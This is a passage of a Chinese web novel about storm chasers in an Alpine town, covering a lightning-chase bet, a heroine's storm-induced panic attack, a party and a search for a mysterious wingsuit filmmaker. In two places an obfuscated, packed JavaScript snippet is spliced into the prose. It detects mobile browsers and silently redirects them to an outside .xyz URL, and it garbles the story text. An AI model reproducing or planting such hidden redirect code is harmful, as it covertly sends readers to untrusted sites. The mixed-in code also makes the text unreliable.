眼见距离山脊位置只有不到几公里。 头顶的云层已经开始嗡嗡作响,仿若随时都将落下一声赤雷。 Erik并不安心看见克里斯就此跟在车队后方,背过手打出几个手势。 几名车手见状不动声色点了点头。 “克里斯宝贝,我有个惊喜礼物送给你。”Erik怪异地笑了声,提醒她注意前方。 克里斯瞧见对方的小动作,哪里还需要别人提醒。 不知道对方又想搞什么花样,丝毫不敢掉以轻心,双手紧紧握在方向盘上。 只见紧密行驶的车队突然让开一个口子。 还没等克里斯反应过来,一辆Bobber就从车队口子中冲了出来,直面她们的车辆迎来。 “HolySh——” 克里斯瞪大着双眼,脖子下意识地后缩。 右脚狠狠踩在刹车上面。 轮胎在黄土上留下一截截黑色胎印。 刹车片发出刺耳尖锐的鲸鸣声。 驾驶赛级摩托Bobber的车手与越野车内的许默、克里斯对视。 安全头盔下的对方,眼神是那般凌厉。 Erik车队的“小动作”直接逼停了克里斯的车。 她知道这群人很疯。 每次觉得这群人已经疯到极限时,又会再次刷新她认知的上限。 只见那辆Bobber迎面而来,却根本没有丝毫减速。 哪怕克里斯已经急刹住了行驶的车辆,但对面高速驾驶的改装摩托显然已经来不及减速了。 “Fxxk!” 克里斯发出一声尖叫,拉着许默皱着眉头,紧紧闭上眼睛。 她们十指绷紧拉在车门上方的扶手,做好迎接撞击的准备。 然而,就在她们以为摩托车会准确无误地撞击在车前时。 Bobber的车手拉着车头一个上抬,随后听见一声马达空转声响。 赛级摩托的前轮借着黄土边上的巨石,冲刺出一个漂亮的“龙抬头”抛物线。 克里斯缩着脑袋,抬头瞧见那辆Bobber几乎是贴着她的前挡风玻璃“飞”过,再在她的车顶借力,完美地在越野车前翻过并平稳地落在车辆后方的黄土地面。 如同一位马戏团里的杂技手,表演了一出近乎完美的演出。 克里斯拍打着方向盘发出暴怒:“不要命的疯子!” 7. 恐惧 虽然预想的撞击没有出现。 但越野车显然已经被Bobber彻底逼停。 “干,”克里斯甩开车门就朝着Erik的方向吼:“狗——东——西!” 脸涨得通红,气愤极了。 正朝着山脊疾驰的Erik拉下面巾朝克里斯敬了个额前礼,恬不知耻地递来一记飞吻。 【收到】 气得克里斯在黄沙地里狂踹了两脚,踢得满地黄沙乱扬。 “这该死的白旗佬!别让我再逮到他,不然定要他好看。” 眼见Erik的车队离山脊方向越来越近,再追上去已经没有任何必要。 这场赌局似乎已经可以预见结局。 许默站在公路边,伸出手指感受微弱的频动。 被克里斯踹扬起来的黄沙在微风的吹拂下慢慢朝着山坡方向散开,好似一滩缓慢荡漾开来的金黄涟漪。 “奥若拉?”克里斯转过头来,瞧见许默怪异的动作发出询问:“你在做什么?” 许默并没有直接回答对方的话,而是自言自语道:“偏东方向的东南风。” “哈?”克里斯疑惑一声:“你怎么都开始胡言乱语了,刚没伤着吧。” 许默皱着眉细细思索了几秒,猛然回头朝着另一个方向看去。 视线在荒寂的山坡间寻觅,几乎瞬间找到了落点。 她语气急迫地说:“克里斯,我们还没输,快走。” 刚说完,立马拉开车门坐回了副驾。 “啊?” 正掀开烟盒准备取支烟出来的克里斯瞧见她的动作,眼神再次死灰复燃。 把烟往车后座一丢,一股脑冲回了驾驶位。 她信奥若拉,更信对方坚定的眼神。 “在哪里?” “东南35°方向,斜后方靠近过街云下方。” 克里斯在许默简短的描述中锁定目的方位,一脚油门将车辆调转车头,朝着斜后方的方位驶去。 许默探头朝云端望去:“边界层急流是东南偏东,急流往往比上坡风来得更湍急,而急流如若遇见迎风坡山体地形,将会产生较强的上升气流,也就意味着……” “雷暴!” 克里斯接过她的话,双眼略带激动地看向她。 “有多大把握?” 许默盯着克里斯,眼神肯定地说:“百分之一百。” “呼——” 越野车疾驰在黄土路上,留下两排滚烫的轮胎印。 快要抵达山脊位置的Erik瞧见克里斯他们往另外的方向行驶,脸上露出了必胜的笑容。 “这么快就认输了?抱歉了,克里斯宝贝,我可不会手下留情。” 一直跟在两队人马后方的墨绿巡洋舰瞧见队伍选择了两处截然不同的方位。 停在了分岔口上。 “哥,他们分开了,”胖子刘昱眯着眼睛盯了又盯,拿不定主意地问赛文:“我们跟哪边?继续跟Erik?” 将摆弄着的相机从眼前移开,赛文指向东南方向。 “跟她们。” “好勒。” 都说雷电捕手对雷暴有着非同寻常的“嗅觉”,能敏锐找到雷暴出现的踪迹。 但雷电摄影师不同。 他们有着异于常人的“气运”。 总是能拍摄到数年难遇的镜头。 而赛文觉着,他似乎最近的运气都还不错。 颇受幸运女神的眷顾。 雷电的形成好比发号施令的领导,总是让人难以捉摸。 就在你以为已经完美捕捉到对方意图之时,它总会打你个措手不及。 等许默两人行驶到迎风坡边缘的时候,天空已经开始下起了蒙蒙细雨。 让出一片安全区域。 克里斯站在车顶朝着Erik所在的方向挥动着手中的丝巾。 就算离着几公里远,都像是能听见她那魔性而又爽朗的笑声。 Erik朝克里斯回击了几个手势,也不管对方看不看得清,拉过格子衫男生问:“Alex,预测有没有发生变化?” 格子衫男生推了推眼镜,在电脑上捣鼓两下回道:“模型没有发生变化,雷暴将会在我们前方出现。” “OK。” Erik一声令下,车队开始布置捕雷现场。 只是望向克里斯那边的逐渐偏暗的上空,Erik隐隐觉着有些不太美妙。 “E,怎么了?” 车队的副手瞧出他的不安。 Erik摇了摇头。 副手朝他看向的位置打探一眼,笑言道:“你还担心呢?放心,有云的地方可不一定有雷,再说,我们这边的云层翻滚明显要更激烈些。” Erik迟迟没有搭话。 “上次,她可猜对了。” “那东方美人?”副手摇了摇头:“要我说,她除了有一副漂亮的皮囊外,也没什么其他特别的地方。只不过,漂亮女人说的话……更让人信服一点罢了。” 副手“嘿嘿”笑了几声,显然没有将许默她们当一回事。 上次的事情,也仅仅留在上次。 “我觉得……” Erik回头看了他一眼,视线转了转,嘴角扯出一个弧线:“你说得对!” 说完几人笑个不停。 继续摆弄设备准备捕捉雷电。 不过十多分钟的时间,云端已经开始出现闷响。 酝酿多时的雷暴只需要一个引火索,就将彻底落下。 隔着几处山丘,两边的人马相互望了望,紧张的情绪开始蔓延开来。 许默、克里斯、Erik、刘昱…… 几乎所有人都望向上空,寻觅着雷暴的降临。 只有一个人仿若置身事外。 赛文慢慢悠悠地举着相机,朝着坐在副驾位置的许默按下快门键。 “来了!” 一道惊呼声率先从Erik的车队里响起。 Erik心中一喜,连忙往发出声响的方位望去。 然而打眼看见的,却是脸色发红的格子衫男生。 格子衫男生一边吼着“来了”,一边抱着笔记本电脑闯了过来。 “雷暴来了,但预测地点发生了变化。” 听到后半句话,Erik的心凉了半截。 他一把抢过对方手中的笔记本电脑,朝着气象图看去。 在对流卷构成积云云街的预测示意图中找到了最终的预测落雷点,刚抬头准备顺着方位瞰去。 “轰”的一声,雷暴声几乎要震碎人的耳膜。 Erik清晰地瞧见,那如同刺破长空的利刃,降落在了克里斯她们所在的方位。 不……会吧? - “轰——” 当肾上腺素涌上来的时候,人们往往会摒弃某些负面情绪。 而当它消退之时,便是恐惧、后怕抵达的瞬间。 在雷暴落下的刹那间。 许默眼前变得白茫茫的一片。 剧烈的雷暴声让她突发耳鸣,她下意识地捂着耳朵。 整个人开始不受控制的战栗和眩晕。 她缩在车座椅里,脸色瞬间发白到失去血色。 “许默、许默——我们赢了!雷暴真的来了,就在前面不远处。” 她仿若听见了克里斯惊喜的尖叫声,可伴随着忽远忽近的刺耳雷暴,她失去几乎所有思考的能力。 距离上一次正面迎接雷暴,已经过了多久了? 三年? 许默好似幻听到了尖锐的鸣笛声…… “滴呜……滴呜……” 好似再次看到了韦烨燃那癫狂的笑容…… 好似…… 身陷冰窟让人难以动弹半分。 她近乎是无意识地拉开车门。 蹲在车门边缘。 双手捂着脑袋将头迈在膝间。 尝试用一切可能的方法躲避可怕的梦魇。 她眼中的世界仿若变得纯白,所有的景象都褪去颜色。 耳鸣代替了所有的声响。 时间也变得停滞。 好冷…… 为 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连宣泄完雷暴之后的天空变得平静也无从所知。 她只知道,不知从何时起自己后背上多了一股暖意。 让她颤抖不止的身体幅度变小了些。 此时此刻,她犹如一块漂流在北极洋里的冰块,终于寻到了暖流。 拼命地汲取那来之不易的热量,解冻麻痹的身躯。 随之而来的,还有熟悉的气味。 是乌樟树的味道。 许默终于记起来了。 在中学时,她在二楼教室的座位靠窗。 靠着窗外面的,便是一枝乌樟。 她时常出神地望着对方,陪伴她一次又一次的夏与冬,陪伴她的迷惘。 真是好久远的记忆…… 她又怎会突然想起这个。 “许默、许默!” 关切的声音从消退的耳鸣中涌现。 是克里斯的声音。 把许默从回忆里拉了回来。 她挣扎着睁开眼皮,眼前重新恢复了色彩。 入眼的,并不是克里斯的卷发。 而是一缕淡金色绒毛。 随之而来的,还有拍打在脸侧的如同热流般的呼吸。 “许默!” 克里斯瞧见她睁开眼睛,大呼小叫道:“我的老天爷,你终于醒了,吓死个人了。” “克里斯,”许默抖动喉咙说道:“我好像不能动了。” 她尝试站起身来,可双腿仿若失去力气,整个人被紧锁着保持蹲下的姿势。 克里斯没好气说:“你要不看看谁在你身上。” 许默转头,正好猝不及防地和金发下的褐色瞳孔撞个满怀。 对方手臂正紧紧环绕在自己肩膀。 “赛……赛文?” 许默一个弹身,恨不得蹦个五米高,差点将对方给撞飞。 一直抱在自己背上的人是赛文? 这人……怎么这么没分寸感啊! “哟,刚才还一个劲地让人别走、别走的,”赛文抬手在额头的碎发上捋了一把,“把人使唤完后,怎么立马翻脸不认人了。” “哈?”许默愣神。 他都听到了些什么?刚才在半梦半醒中看到的人影是他? “我说得不对吗?” 赛文笑眯眯地撩起眼皮,饶有兴趣地看向她说道:“……惧怕雷暴的雷电研究员奥若拉小姐。” 阳光从散开的乌云缝隙里洒下。 落在对方淡金色的短发上,明晃晃的让人有些睁不开眼睛。 许默蜷缩在对方的影子里,凝视着对方满带乌樟气息的笑容。 他在…… 说些什么虎狼之词…… 8. 破碎 “奥若拉,”克里斯趁着赛文松开手臂,一把将许默拉了过来好生打量几眼:“你刚才是怎么了?” 许默皱着眉头思索几秒,又摇了摇头。 “没什么,已经没事了。” “但是……”克里斯反而更加疑惑。 许默先前的样子很像雷电PTSD的症状,但对方的身份又是雷电研究员,这不太符合职业基本需求。 “你放心,”许默深吸一口气,“直播前我会调整好状态的,不会影响到工作。太久没回格伦希尔了,我只是还没适应雷暴。” 克里斯将信将疑:“那……就好。” 许默捏着自己还在不断轻微抖动的手臂,刚想转身拉开车门上车,余光瞥见赛文正弯下腰在旁边捡拾着什么。 仔细看了眼,是他一直挂在脖子上的昂贵相机Alpha1。 相机摔碎在碎石旁,漆黑的机身损坏了个七七八八,镜头也开裂散落。 “话说,”克里斯凑过来打量两眼赛文,又瞧了瞧许默,“你和赛文以前在国内是不是认识?” 许默摇头。 她不认识。 “他刚才也真是鲁莽,”克里斯若有所思地说:“雷暴都还没结束,他就下车冲了过来。我都还没反应过来,就把你护在身下了。” 她还想说你们两人先前举动,别说对于陌生人了,对于普通朋友来说,都略显亲昵。 考虑到自己的确不太懂东方文化,克里斯张了张口还是把话咽了回去。 只是委婉地问:“你们……真是,陌生人?” 许默微微有些发怔。 别说克里斯了,就连她自己都觉着有些不对劲。 她和赛文认识不超过三天,每次见面都剑拔弩张的,说是“朋友”关系都算是牵强。 会有人冒着如此大的风险,保护他人? 这叫什么来着,舍己为人? 许默想不明白。 克里斯更是想不明白。 “我果然,还是搞不懂你们东方人。”克里斯索性摊手,把一切难以理解的事物又归于神秘的东方力量。 虽然许默没想明白对方的行为逻辑。 但摔碎的相机,显然和先前赛文焦急冲下车是相互关联的。 许默的礼节不允许自己就这般离开。 她踌躇一小会儿,还是走到赛文跟前,小声问:“坏了?” 赛文继续低头捡拾着满地的碎零件,应声给予肯定回答:“镜头应该是坏了。” 许默莫名有些心痛。 这部相机的型号她认识,价格不菲。 而她也听说过,镜头是相机最重要的部件。 “别捡了,”许默强忍心痛说道:“我赔给你吧。” 赛文停下手中的动作,半蹲着身子抬头望向她,扯了扯嘴角竟然笑了。 “怎么?”许默愣了愣,手指在手心里攥了攥,“担心我赔不起啊?” 说实话,她还真有可能赔不起。 许默的财务状况并不理想。 但这相机如若真是因为她损坏的,就算是分十二期她也会赔给对方。 比起金钱。 欠其他的东西,更加让人赔不起。 “不是。” 赛文听闻笑得没直起腰,“我自己弄坏了相机哪里轮得到你赔?奥若拉小姐,我发现……你很敏感。” 许默瞪着对方,一时间居然有些哑言,指了指他、又指了指自己。 “可是,你不是……然后就……” “放心好了。”赛文看向她那略显笨拙的模样,噗嗤一声笑出来。 好似难得见到许默展露出如此有口说不清的样子。 “不会讹上你的,是我自己不小心。只是这相机里有对我来说比较重要的东西,我得拿回去修理一下,但愿能修好吧。” 许默看着一地凌乱,十分怀疑地说:“真能修好?” 赛文笑答:“可能吧,总得试一试不是吗?” “这相机可比人硬朗着呢,千疮百孔也只是外伤,缝缝补补又修好了。” 许默不太懂相机。 但损坏相机对于雷暴摄影师来说,就好比失去了眼睛。 犹豫了一下还是蹲下身子帮对方在碎石里捡起零件。 将捡拾好的零件交到对方手中,许默胸口才像放下一块大石。 “谢啦,惧怕雷电的奥若拉小姐。” 赛文伸手接过零件,眼睛笑眯眯地看向她。 许默咬了咬牙,“我谢谢你才是,先前……” 赛文“嗯”了一声,撩起睫毛打量着她。 被对方盯得有些打鼓,许默还是没继续说下去。 改口小声地说:“……能不能不要这样叫我。” “哪样?”赛文明知故问。 “加那种前缀。” “你是说……惧怕雷电?” 许默忍住要白对方一眼的冲动,这人……真的很欠揍。 郑重地点了点头,“我不是惧怕雷电,只是今天状态不太好,加上刚有些晕车。” 也不知道赛文信没信,对方饶有兴趣地点了点头:“是这样啊……” 又是拖着长长的尾音。 “我是认真的,”许默补充一句,“作为雷电研究员,这传出去对我的职业生涯会有影响的。” “明白了。”赛文收回笑容,一脸严肃地回复:“你不喜欢的话,我不会再提了。” 直到许默回到车上,赛文注视着车辆往镇子的方向驶回,都没再多说一句话。 刘昱砰砰跳跳地凑过来,一脸幸灾乐祸地看向赛文手中的相机。 “哥,你这次可亏大发了。” 赛文随手将相机往对方怀里一抛。 自言自语地说:“雷暴PTSD……似乎有心理阴影。” 刘昱拍了拍胸脯:“甭管别人了,刚才我都差点吓出心理阴影来。这么近距离观察雷暴,我都有些遭不住,不信,我今晚得给自己治疗一下,免得吓出PTSD……” “嘣!” 赛文在刘昱耳边不合时宜地用嘴模拟了一声雷鸣,果不其然吓得对方肩膀乱耸。 “哥你干嘛啊!我还以为又打雷了。” “没啥,就逗逗你。” “请问我是你家养的鹦鹉吗?说逗就逗。” “不是,”赛文摆手,“我家养的鹦鹉可比你胆子大多了。” - 等她们回到镇子时,Erik的车队已经在镇子前等着了。 许默眼睁睁地看着驾驶位的克里斯,眉毛从平直到乱飞。 还没抵达镇子,隔着远远地就按下车窗,对着Erik嘲讽起来。 “哟,我还以为是谁呢,隔着老远就闻着气味了,”克里斯按了下喇叭助兴后说:“原来是丧家之犬的味道,哈哈哈~” Erik还开着直播,不好当场和克里斯吵起来,颇有绅士风度地行了个礼说:“愿赌服输,今天你很走运,克里斯宝贝。” 说完对着镜头开始预告:“为庆祝克里斯宝贝取得胜利,今晚十点,NakedandBottomsup!” 随着他的吼声,车队很有氛围地开始又是吹哨又是呐喊的。 仿若他在宣布着什么不得了的事情。 许默还是第一次听人把“裸.体倒立喝酒”说得这般清新脱俗,看他意思今晚还要直播? 这……也是能直播的吗? 朝着Erik正直播着的镜头多看了两眼,发现在线人数还不少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861465|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Erik眼尖瞅见许默,扯着嗓子吆喝了起来。 “奥若拉,我的女神,快过来!” “给大家介绍一下,”Erik一把将许默从人群外拉了进来,推到手机镜头前说:“这是今天的雷暴女神奥若拉小姐,她的预测比AI还精准,昨天再加上今天,真是让我输得心服口服。” “Hi~” 许默突然被推在镜头前,从容地和观众打了个招呼,突然心生一计。 “大家好,我是奥若拉。” “今天的雷暴大家看得满意吗?” “什么,还不太尽兴啊?” 许默嘴角上勾,语速飞快地说:“下周星期三至四,在Nature频道我们将对罕见的巨型雷暴进行直播科普,欢迎大家届时来共同观摩「阿尔卑斯的灯塔」。” 听到许默说到一半,Erik就双手交叉在一旁“NO”个不停。 “禁止引流、禁止广告!” 许默摊了摊手,反正说都说了,直播还能收回去不成。 她朝对方竖了个大拇指,便心满意足地退出人群。 “克里斯。” 许默踮起脚朝克里斯挥了挥手,“今晚有眼福了,Erik要履行赌约喽。” “好耶!”克里斯握拳在举,发出一声嘹亮的口哨声,现场的氛围被推向到极致。 不知道是刚才经历过雷暴的缘故还是怎的。 许默情绪有些激动。 要放在以前,她肯定对Erik履行赌约这种无聊的事情不感兴趣。 此时,她却能轻易融入起哄的人群,肆意在阳光下载歌载舞。 她像是…… 被雷暴重新注入了能量。 放下了防备。 又重新鲜活了起来。 - Erik的直播在国内也有不小的知名度。 许多人通过转播的形式订阅了他的频道。 而当直播画面中出现罕见的东方面孔时,如同一枚深水炸弹般激起了阵阵动荡。 “这奥若拉应该是我们国人吧?” “肯定是的,棒国和霓国长不出这张大气的脸。” “刚Erik说他输赌局的主要原因就是这女生?” “她预测雷暴比AI更加精准?” “长得真的很明丽,气质也很出众,我严重怀疑是Erik请来的演员。” “对不起,我老婆给大家献丑了,这就打车去格伦希尔抱回来。” “众筹前往格伦希尔,寻找我那只见过一面的老婆。” “《我老婆为国争光》” 就在评论帖子叠上高楼,热度持续高涨时,一则评论突兀地出现在顶端。 “你们……不觉得这个女生很眼熟吗?” “是有一点,难道不是因为好看的都千篇一律,难看的各有千秋吗?” “不对,你们仔细看看回放。” 随着许默出现的那几秒被逐帧截图,越来越多的人认出了她。 “互联网当真没有记忆!你们连她都不记得了?” “啊?谁啊?” “是不是安省的,曾经也算是轰动过全网的那个?” “对对对!” “没错,我就是安省的,我记得她。” “???” “如果我没记错的话,她好像叫许默。” “啊,许默?到底是谁?” “你自己去搜,关键词:安省高考理科状元、退档、第二年重新参加高考、蝉联状元。” 随着这条评论的出现,叠起的高楼很有默契地停止了继续翻页,迎来了短暂的沉默。 “那个……我网龄短,请问当年的知情人,高考状元为什么会复读啊?” 9. 派对 网络上热火朝天的热议并没有影响到格伦希尔的盛夜。 许默难得地收拾了下自己,和克里斯沿着碎石路前往篝火升起的派对。 还没抵达派对现场,隔着老远就听见帐篷天幕下传来笑声和喝彩声。 各个国家、各个肤色的男男女女围着Erik,发出加油打气的声响。 “喝!喝!喝!” 克里斯抬脚蹦跳起来,正好瞅见围在人群中央的Erik只穿了个大裤衩,倒立在酒桶面前,嘴里塞了根透明软管,满脸涨得通红。 “奥若拉,你快看,”克里斯对这结果显然满意得不行,勾起许默的手臂往人群里挤,“Erik这怂样,我定要拍几张保存下来。” Erik像是听见了克里斯的声音,醉意朦胧地朝她们望过来,伸手装模作样地在额头上点了点。 “克里斯宝贝,想欣赏我的英姿就直说嘛,我待会好好摆几个POSE给你拍个够。” 克里斯作干呕状,眼神示意扶着Erik倒立的人继续把管子塞他嘴里,别让他说话了。 Erik哪里还喝得下,没喝两口就捏起软管开始向人群乱喷,引得众人又是叫又是笑的。 “这就不行了?”克里斯拇指向下对Erik比画了个手势,身手敏捷地抢过他手中的软管,“让你见识见识什么叫真正的技术。” 在起哄声中,克里斯一个漂亮的翻身就倒立在酒桶前。 这两人比起喝酒来也是谁都不认输。 没一小会儿,就连在一旁观战的许默都被洒得一身都是酒,浑身上下都是麦芽味。 许久没这般放肆过,许默也没过多在意自己的仪容仪表。 甚至在当地人的怂恿下,还尝试吹了吹阿尔卑斯长号。 只是吹不太响。 在异国他乡,和不知道姓名但热络的人聊天聊地。 还别说,真有一种短暂抽离的错觉。 胖子刘昱在人群里好一顿寻找,才终于找到姗姗来迟的赛文,挥着手招呼:“哥,你终于来了,干嘛去了啊,这么晚才来。” 赛文摇了摇头:“拍了几张日落。” 说完就在人群中寻找另一个身影,不多时,就被他寻觅到了。 身着淡黄色连衣裙的许默正和黑皮肤的女生交谈。 不知在说些什么,有说有笑的。 “你也是来自中国啊?” 对面的黑皮肤女生Fiona听她介绍自己,诧异了一声。 “嗯?”许默疑惑道:“为什么说也是?还有其他人吗。” Fiona笑着说:“当然,那雷暴摄影师就是来自中国的。” 许默反应过来:“赛文?” 面前的几人听到她下意识呼出的名字,摆了摆手:“NO,NO,NO。” “我们都不叫他赛文。” 不叫他赛文? 什么意思。 许默还是没斗过好奇心,追问道:“那叫什么?” “我们叫他……”几人相视几眼,异口同声地说:“雷暴小丑。” 说完几人都笑了。 反而让许默听得更疑惑了。 雷暴小丑? 这是何种称呼? 这称呼听起来,比赛文本人看起来还更加要不靠谱些。 “雷暴小丑……” 许默重复了句这两个单词,顿了几秒又问:“为什么要这样叫他?” 面前的几人还没来得及回复,身后反而传来幽幽的声音。 “不如,你直接问他本人。” 许默听见这声音响起时就顿感不妙。 果不其然,面前的几名普鲁士人像被抓包般一哄而散。 许默额头掉下黑线,慢慢转过身,僵硬地扯出笑容说:“挺巧啊。” 驻足在她身后的,正是下午才被摔碎相机的赛文本人。 “是挺巧的。” 赛文嘴里吐出淡淡烟圈,垂眼看了许默几眼,慢悠悠地说:“你要是对我感兴趣,直接问我就行了,哪需要从别人口中得知。” 接着又补充了句:“那些过时的消息,不知道都过了多少手中间商了,麻烦。” 也许是几杯酒精下肚的原因,许默并没有被对方轻浮的口吻吓到。 而是目光径直投射过去。 “你这轻佻的语气……是不是太暧昧了些?”许默顿了几秒后才笑了笑说,“抱歉,我有男朋友的。” “我知道。”赛文似笑非笑地看着她,几乎是贴在她耳边说句:“不就是那天你对着说单口相声的那位吗?记忆犹新呢。” 许默眉头没忍住抖了抖。 鼻尖再次闻到了乌樟树的味道。 她现在基本可以肯定,这熟悉的味道正是对面的人身上的。 “赛文,”许默询问道:“你的中文名叫什么?” 赛文在食指尖抖了抖火星:“你想知道?” “我想确认一件事情,”许默没有掩饰地说,“的确想知道你的名字。” 火光将对面的赛文脸庞勾勒得若隐若现。 看不太清他的表情。 “谢盛祈。” 隔了好一会儿,他才缓缓吐出个名字。 谢盛祈…… 许默仔细在脑海中搜寻这个名字,然后却仍是一无所获。 到底是从哪里觉着对方身上有熟悉感的? 她十分确信自己并未听过这个名字。 “奥若拉,”谢盛祈好像很喜欢注视她思索的样子,“你相信宿命吗?” “宿命?” 被这突如其来的词汇打断思绪,许默有些诧异。 “你指的是什么?” “你现在穷尽一切都未能获得答案的问题,在未来的某一天都会用其他的方式轻而易举地得到解答,”谢盛祈继续说,“回过头来,你才会发现自己曾经是多么可笑。” 许默没太听得明白他到底想说什么。 刚想继续说下去,帐篷天幕下传来手风琴的声音。 “奥若拉,快来跳舞了!” 克里斯的呼唤声从人群里响起。 “早就听研究所的人说你华尔兹跳得特别棒,快过来。” “来了。” 许默拗不过对方,抬眼朝谢盛祈看了两眼,侧身走了过去。 走了两步,又像是想起什么似的转过身朝对方说:“你都告诉我你的中文名字了,却不问问我的名字,不是吃亏了吗?” 赛文朝她晃了晃头:“没事,吃亏是福。” 许默看向他勾起的嘴角,刚想告诉对方自己的名字,就被克里斯一把拉回了天幕下方。 赛文靠在角落里,目光凝望着在人群中间跳起华尔兹的对方。 “毕竟,我早就知道你的名字。” “许默,我们是一类人,这就是我所说的宿命。” - 许默从小就学习过华尔兹,虽然荒废了数十年,但在格伦希尔这群喝得醉醺醺的人眼中,还是颇显专业。 几个舞步下来,就吸引了几乎所有人的目光。 许默也难得这般尽兴,借着醉意拉着克里斯跳得头脑有些放空。 等气喘吁吁停下来时,已经接连跳了好几首曲子。 “哎,”克里斯喘了好几口气才直起腰说,“难怪不得研究所说你跳舞厉害,你这完全是专业出身啊?” 许默连忙摆手:“哪里,你说得太夸张了,我就小时候学过一点,早就荒废了。” 克里斯竖起指头:“童子功果然厉害。” 许默挥着手在脖颈间扇了扇风,借着夜风让自己的醉意清醒清醒。 克里斯和她碰了下杯,另一只手翻阅着手机,突然发出一声惊呼。 “Selway更新了诶!” 说完激动地举着手机朝许默挥道:“奥若拉,你快看,真的是新更新的视频。” 许默心脏像是被狠狠攥了一把。 她立马取出手机,熟练地翻阅到韦烨燃的频道。 果不其然,最新的一条视频更新时间显示就在三十分钟前。 她颤抖着点开视频播放,只见入眼便是戴着兜帽、穿着冲锋衣的身影。 他伫立在寒风中,站在山崖边缘。 与身后的天际线融为一体。 翻涌的雷云在他头上盘旋。 仿若这片区域马上就会降下闪电风暴。 漆黑一片的身影仰着头凝视雷云。 未见半分骇惧。 “他动了。”克里斯激动地指着屏幕。 屏幕里的对方并没有说话,而是站在山崖边指了指后方漆黑的天空。 经常看Selway视频的人都知道,他的意思是“注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861466|176048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,闪电马上就来了”。 屏幕前的许默与克里斯心提到了嗓子眼。 Selway这是要做什么? 而就在让人屏息看向那片即将迸发闪电的云群时,Selway一个倒身从山崖边跃下。 整个人如同失去重力般向悬崖倾倒。 “天呐!” 吓得克里斯一把捂住了嘴巴。 许默更是紧紧将手指攥在掌心。 就在她们以为Selway的身影即将完全退出屏幕之时,一道穿着漆黑的“羽翼”从山崖后方升腾而起。 如黑蛾般跃出一个优美的弧线。 是Selway在翼装飞行。 而随着他身体跃出水平线的同时,轰鸣的雷电将整个画面完全点亮。 漆黑一片的背景骤然如同白昼般明亮。 黑与白的交错,让人几乎睁不开眼。 “轰隆——” 随后而来的,还有震耳欲聋的轰鸣声。 刺眼的雷光将Selway那摇摇欲坠的身影照耀得清晰可见。 让人看得咋舌之外,更是一幅绝美的“人与自然”的交汇。 “好美……” 克里斯表情有些呆滞,被视频中对方内敛又翛然的行为艺术所折服。 这是视觉与听觉的极致享受。 极大程度挑动着观赏者恐惧、惊叹等等复杂的情绪。 直至屏幕上惯有的“生命的意义,在于探索未知”字幕出现。 视频才终于迎来结尾。 就算是长期订阅频道的克里斯,又一次对Selway那近乎完美的构图和创意而感到惊艳。 口中丝毫不吝啬地发出赞美。 许默捂着嘴巴,直到手机屏幕熄灭她都久久没有动静。 韦烨燃他…… 又一次做出这种游走在生死边缘的举动。 他到底,知道自己在做些什么吗? “奥若拉!” 克里斯拉动着进度条,声调上扬着说:“你看这个地方!” 出神的许默被对方尖锐的声线拉了回来,她朝着对方屏幕中的画面看去。 “这里!”克里斯像是发现什么新大陆般,就差原地蹦起了,“有没有觉着眼熟?” 许默仔细辨别了下,忽然身形一顿。 克里斯再也忍不住了,惊喜地说:“这不就是我们下午捕捉雷电的山崖吗?Selway他人就在这里!就在格伦希尔!” 许默额头有些发胀,整个人都因为这件事而感到眩晕。 韦烨燃……就在她们附近? 许默摇摇晃晃地站起身来,抬起腿就往镇子的方向跑去。 “奥若拉,你要做什么?”克里斯在后面边追边喊。 许默紧咬牙关:“我要去找他,他可能还在那!” 好不容易寻找到对方的线索,说什么许默也不会让其从手中溜走。 只要找到韦烨燃…… 只要当面和他说…… 只要他们再见一面…… 许默的步子跑得很快,克里斯几乎是边跑边喘才勉强跟上。 等抵达旅馆楼下时,正好瞧见许默要开越野车门。 “奥若拉,”克里斯一把将对方拉住,“你喝了酒!” 许默身形一顿。 的确,她喝了酒,她此时根本无法开车。 许默转身朝后方瞥了眼,不顾阻拦奔去:“我一定要去见他……” “你现在去也多半扑空了,”克里斯侧过身挡在许默身前,尝试着争夺对方手中的车钥匙,“视频都已经发出来这么久了,说不定他早就走了。” 克里斯也替对方着急。 但她自己也喝了酒。 “你让我去好吗?” 克里斯这才看见许默眼眶已经湿成一片。 “就算只有万分之一的机会,我也要去看看。” 就在两人僵持不下时。 一只在夜色里白到突出的手不知道从什么地方伸了出来,从两人争夺中将车钥匙取了过去。 许默眼眸中带着气,转身寻视过去。 只见谢盛祈高高举着车钥匙,驻足在她身前。 “我没喝酒。”谢盛祈平静地说完,顶着二人诧异的视线,拉开车门自顾坐进驾驶位。 “要去就赶紧上车。” 10. 虚妄 深夜的格伦希尔远比想象的还要寂静。 白日翻涌的雷云在漆黑夜色的掩盖下,只能听见如鲸般闷鸣。 许默坐在副驾驶位置,手指紧紧抠在车门扶手上。 或许是先前在Party喝酒的缘故,脸胀得有些发红。 谢盛祈驾驶着越野车,一言不发。 还是坐在后座的克里斯一个劲地发出诧异的话语。 “这真不愧是雷暴幽灵,我刚请朋友查阅了一下格伦希尔最近的访客记录,并没有发现Selway的登记信息。” 许默没有搭话。 克里斯自顾继续说:“Selway就算再怎么神秘,格伦希尔就这么大,酒店就这么几家,连入住信息都查不到,也太……诡异了些。” 诡异这个词,用在雷暴幽灵身上倒也不唐突。 谢盛祈说:“也许用的是别人的登记信息。” 